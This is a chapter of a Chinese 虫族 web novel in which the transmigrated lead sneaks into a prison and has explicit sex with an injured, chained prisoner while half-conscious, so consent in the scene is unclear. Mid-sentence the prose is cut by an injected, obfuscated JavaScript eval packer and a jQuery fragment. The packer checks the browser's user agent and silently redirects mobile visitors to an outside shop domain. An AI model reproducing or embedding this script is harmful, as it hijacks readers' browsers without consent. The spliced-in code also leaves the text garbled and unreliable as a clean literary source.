监牢里唯一的雌奴就是主角受十七。
原文里有一段描写,因为被不同的雄虫分享过,十七的信息素发作十分紊乱,时不时就会陷入热潮之中。
难道,现在的十七,就已经被渣了吗?
【你已经拖延很久了。】
脑海中忽然出现一道冰凉的声音,略有些虚浮,白却有些意外地挑眉。
【诶……015,你醒了啊。】
【我还不醒,恐怕主角受就真得死了。】
名叫015的系统说话间发出数据不稳的“滋滋”声。
【前段时间我能量缺失陷入沉睡,才让你混了这些天。你到底还在犹豫什么?再不从渣攻手里救出主角受,我们都得完蛋。】
是的,和大多数穿越者类似,白却来到此地也有所契机。而015正是将白却从末世带到虫族小说中的救命恩统,它救下白却只有一个要求——“拆散原著主角攻受”,以稳定这个世界的能量。
【我知道。】
白却鼻尖仿佛燃起了熊熊烈焰,四周仍然十分寂静——想来没有一个虫在意雌奴罪犯的发情。
精神力丝笼罩口鼻,缠绕组成简单的滤化器,将诱虫发热的信息素隔绝在外。
平常没有虫会经过这边,如果要在这个时候把主角受救出来,难度并不高。
但白却之所以迟迟没有下手,只有一个原因。
【我不想让别虫注意到我。】白却面不改色地眨眨眼,【你知道的,我只是一只普通的雄虫,平生最讨厌麻烦,只想一辈子过着平淡的生活……】
【我会帮你制造新的假身份,让你去哪一颗星球重新开始都可以。】
015打断他施法,平直机械音中竟流露出三分咬牙切齿,想当初它就是被白却这副人畜无害的样子给骗了不知道多少回,恨恨道:
【附赠第二条命,就算你脑袋掉了也能装回去,行了吧,你满意了吗?】
白却弯起眼睛,上扬的眼尾褶出一道明媚弧度,像就在等这句话似的,他打了个响指。
【成交,给我张监牢内部地图。】
精神力丝悄无声息地包裹住周遭二十来个隐秘摄像头,随着“噼啪”轻响,电波频率一瞬扭曲,南区监牢所有的监控画面全部黑屏。
监视区的两只雌虫正吃着营养液,看见光脑关闭,面面相觑。
“发生了什么?”
“不知道,得赶紧上报……”
“怎么回事,突然……好困……”
“想睡……”
两虫眼中闪过一丝电流,身形一歪,同时倒在桌边。
白却脚步轻盈地来到西侧门,精神力悄无声息覆盖瞳膜门锁。
锁上飞速闪现一连串的乱码,直到三秒后,紫瞳中泛出一道涟漪似的波动,随着“滋啦”的死机声,瞳膜门彻底打开。
监牢里没有虫,只有一条漆黑的甬道在面前展开,信息素从幽深未知的内部传来。
他光明正大地走进了门内,瞬间被雌虫的信息素冲击得呼吸一滞。
有点糟糕,白却蹙起眉头。他万万没有想到自己和017号的匹配度很高,这是雌虫的信息素第一次影响到他。
浓度还在可控制范围内,精神力丝将口鼻缠绕得更加紧密。白却拢了拢外套领口,径直走了进去。
鞋底触碰着坚硬潮湿的地面,越往里走,越发现地牢的条件实在是差劲,堪比关押牲畜的畜栏。
017身上的伤没有经过处理,处在这种环境极容易感染。就算雌虫拥有强悍的修复能力,在这种情况下发情,也真的很容易死。
【有虫。】015提醒。
不用它多说,白却也看到了那道熟悉的身影。
昨天才见到的017依然奄奄一息,手脚被牢牢束缚,背后是巨大的钢铁十字架。一头黑发遮住了脸庞,惨白的灯光在高挺的眉宇下折出一片阴影。脖颈垂下,如同一只受戮的天鹅,正等待未知的命运。双腿被束缚成一条直线,从赤.裸足尖缓慢往下渗血,汇成了一小滩血色水潭。
像一道黑暗的影子,沉默而无声地被吊在角落,即将随着到来的夜晚而腐烂。
他还活着吗?白却一瞬间闪过这样的疑问。
道理是显而易见的。那雌虫的信息素还在发散,在狭小的空间里徒增暧昧。但雌虫低垂着头,白却上前顾着确认他的生命体征,这氛围一时无虫欣赏。
他摸了摸017的脖颈,一片粘腻的湿意,是半凝结的血和组织液。
好在动脉还在一息一息跳动,白却想用精神力覆盖他的伤口,只是精神力丝刚探出一个芽状前端,就不受控地朝着雌虫脖颈前后散发信息素的虫纹而去。
“!”
白却一惊,他的精神力怎么突然——
不,现在震惊已经来不及了,他忽然感到一股巨大的危机感,迅速抬起头,与一只血红的眼瞳对视。
017冷冷地盯着这突然出现的雄子。
他长着一头银色长发和一双无害的紫色大眼睛,倒是相当高挑漂亮,可直到他站在监牢外,017都没有感觉到他的气息。
……自己的感知系统,已经退化到了这个地步?
“滚。”
他感受到自己身体的变化,不由得并紧双腿,心下冰冷而嫌恶,用残破的嗓音驱逐。
白却抬起眼眸,很礼貌地没有看向他狼狈的地方,这时倒是真的想滚,可头脑猛地一重,像是满头脑浆凝固成了水泥,意识越来越模糊,听不清声音,更别提操纵身体。
他眉头一跳,扶住额头。
该死,那熟悉的感觉,他不会在这里睡过去吧……
“怎么能走?”白却眼帘半阖不阖,意识即将坠入幽深洞穴,为了保持清醒,他忽然伸手掐住017的脸,“我得……”
带走你……
精神力丝一瞬间松懈,那铺天盖地的火焰便逮住空袭攻击过来,带着玉石俱焚的阴冷怒气,要将他焚为灰烬。白却大脑一阵空白,自动释放出新雪般的雄虫信息素。
烈焰焚烧似的监牢,突然下了一场沁凉的雪。
白却更用力抓住雌虫的脸,不容反抗地将他整张脸抬了起来。
阴影遮挡下的面容清晰地展现出来,那是一张格外俊帅凌厉的脸,眉眼狭长隐忍,透着动情的春.意,仅剩的一只眼睛变为竖瞳,猩红若犹如地壳下肆意奔流的熔岩。
双方信息素逐渐交缠在一起,白却久病成疴的大脑一暖,睡意退去,取而代之的居然是极度的舒适。
眼前的味道让他非常舒服,像是冬天别墅内在壁炉里跃动的火,白却下意识想要贴近。
雌虫气压极低,眼中满是阴翳,尖锐的犬齿将唇咬得鲜血淋漓,阻止喉舌发出可笑的声音。
他的信息素等级太高,已经彻底让这只低等级的废物雄虫失去理智了。
精神的高度契合酝酿出一场意外,也带来最纯粹的反应。
【真好看的一张脸……】
白却潜意识如此诉说。
他舔了舔唇,深埋的劣性根蠢蠢欲动,雄虫象征着求偶的尾勾一寸寸放了出来。
那是一条长达一米五的细长尾勾,上覆鳞甲,通体呈半透明深紫色,却又若猫尾般柔软,缠绵地绕上雌虫的腰身,跃跃欲试。
雌虫的衣物本就残破,几乎没有蔽体能力,八块紧实的腹肌随着深深的呼吸一起一伏,就连胸膛也极为宽阔柔软。
尾勾尖仿若不经意地擦过,倒刺惹得雌虫抽搐。
白却没有了下一步的动作。
他在等。
微凉鳞片扫过炙热的肌肤,雌虫喉咙里发出压抑的哼声,在这场信息素的较量中,017同样不是胜者;他轻.喘着眯起眼眸,深深注视眼前的雄子。
他知道,这是一次不可多得的机会。这只莫名其妙出现在这儿的雄虫和他有极高的匹配度,如果能够利用他进行一场精神抚慰,不啻于获得一场免费而顶级的精神治疗,多少雌虫梦寐以求的事,他却盯着这只雄虫的眼睛,忽而笑了。
他的眼睛可真漂亮啊。
——想挖下来,做藏品。
雌虫喉咙中溢出一声笑,低沉的辨不清心情,白却睁大眼睛疑惑地望着他,雌虫在这时低下头,伸出舌尖,轻而缓地舔了舔他的眼皮。
尾勾收到了雌虫同意的讯号,骤然勾紧他的腰,随着“啪”的轻响,所有束缚带顿时应声崩断。
雌虫被白却从十字架抱到了床上。
白却左脚蹬右脚将鞋子脱掉,现在他的清醒头脑已经陷入了昏沉的黑暗中,所做的全凭本能。他想要把自己全部塞进去。
直觉告诉他,面前有什么东西能够彻底容纳他。
他俯下身,那双纯净的眼睛一眨不眨地盯着017,瞳仁外一圈浅色的瞳膜,覆盖上一层水色。
如同白玉兰的唇瓣在017干枯的唇上探了探,而后伸出舌尖,一点点舔吻他削薄的嘴唇,痒意在逐渐湿润的唇间蔓延,融化了唇上的血痂,蔓延开血腥的气味。
017侧过头,狭长眼中浸润出暗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073734|149409||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沉的情.欲,雄子不依不饶地捉了他的下巴。
距离很近,新雪的气味被火灼得微烫,017盯着眼前这张白瓷般的脸,眯起眼,呼吸暂停了一瞬。
“唔。”雄子闭上眼睛,继续亲吻他。脚踝蹭了蹭他的腿,挤了进去,抬起柔韧纤细的腰肢,而后一把按住017。
“呃!”雌虫头颅往后一仰,脖颈绷出凌厉的弧度,漆黑发丝间甩下一滴晶莹的汗水。
雄子的胸膛微微起伏,比起雌虫的狼狈不堪,他还算穿着整齐,正半趴在雌虫的身上,指尖懒懒挑着他的发丝玩儿,仿若等待着什么。
017眼珠在眼皮下不断颤动,眼尾漫出一道绯红,连话也说不出来,只能嘶哑地喘着气。
“小混蛋……”他微不可闻地骂了一句,声音如同撕裂般嘶哑。
白却歪了歪头,在017沉沉看来时,眨动着睫毛,流露出一副茫然的表情。
“还行吗?”白却一脸真诚地询问。
良久。
“……可以。”017闭着眼回答,他的声音十分低哑,像是缺乏水源的滋润。
白却伸出舌头和他接吻,把清凉渡给他,又安抚地摸了摸雌虫绷起来的坚实腹肌,手感很好,他又捏了捏,成功把雌虫捏得浑身颤抖起来。
“那你一定得好好地接受哦。”
雄子轻轻撒着娇,但内容不容置疑。银白的发丝垂落在017伤痕累累的胸膛,清淡如兰的香气裹挟了他的思绪。
这真是一只故意闯进来的色鬼雄虫?017的思维来到一些不合时宜的层面上。他开始怀疑这只雄虫是不是真如表面看上去那般无害。
“不看我吗?”
思绪被这一声拉了出来。017看见雪白睫毛下,雄子的眼神有些不悦。
“哼。”他哼了一声,长眉微蹙,为这只雌虫的走神有些不高兴。他现在没什么脑子,昏昏沉沉的全是甜蜜轻盈的欲.望,只懂得最原.始的横.冲直撞。
他们并不相熟,白却内心却有个声音叫嚣着,要他索取、要他用力、要他……再多做点什么。
“等等……”雌虫苍白的脸又开始红了。
“咦,你好麻烦。”白却任性地抱怨,“做这种事情很费体力的,你倒是让让我啊——”
017:“……”
雌虫骨节断裂的腿被轻柔地挂在一边,足尖绷直到极致,差点掉下床,白却把他捞进了怀里。
过了不知道多久,雄子猛烈的精神力在信息素影响下冲刷着雌虫的精神海,已经习惯残缺疼痛的精神海嘶鸣着卷起怒涛,雌虫只觉得自己跌入了更深的悬崖。
*
第二日,清晨。
白却睁开眼,迷迷糊糊间双臂还环着高大的雌虫,差点被扑面而来的洗面奶弄窒息。
意识回笼了一半儿,零碎的记忆纷至沓来,他整理到一半便愣在了原地。
他还没来得及哀叹祭奠自己保存了两辈子的贞操,察觉到哪里不对劲,低头一看。然后发现最不妙的是——他居然还没出去。
白却:“……”
他小心翼翼地把自己从017柔软的胸膛里弄了出来,像一块被烤糊的煎饼死气沉沉摊在床上。
昨晚记忆模糊得像被切成碎尸块的老电影,唯一清楚的只有一点:他又干了坏事了。
他一个原著里的炮灰,居然把主角受给抱了!
脑海中的015安安静静,居然没有发出嘲笑,安静得像死了机。
白却心情复杂地盯了一会儿天花板,悄悄翻了一个身,雌虫不知什么时候醒了,缩在床脚阴影中,身上是一些不能细看的痕迹。
他怀里抱着白却的衬衫,沉默地垂着眼,黑发盖住了那只瞎掉的眼睛,安静得完全融入监牢的黑暗。
白却的脑海里闪过雌虫身上斑驳猩红的伤痕——他似乎受了很多折磨,不止肉眼能见的伤。对于雌虫来说,更多的伤口应该和他的沉默类似,被深深埋在破损的精神海之下。
白却瞥了一眼地板,那里横陈的几块碎布条似乎是雌虫唯一能蔽体的衣服,昨晚兴奋的时候被他给撕了。
他低头谴责地看了一眼兄弟,从床上直起身,长发披落在肩头,挡住了身上星星点点暧昧的痕迹。
“你……”
他本意想问候些什么。
这时,雌虫动了动受伤的腿,抬起时,有一些东西到了大腿上。
“……”
白却揉太阳穴的动作一僵。
……是的,他没有清理。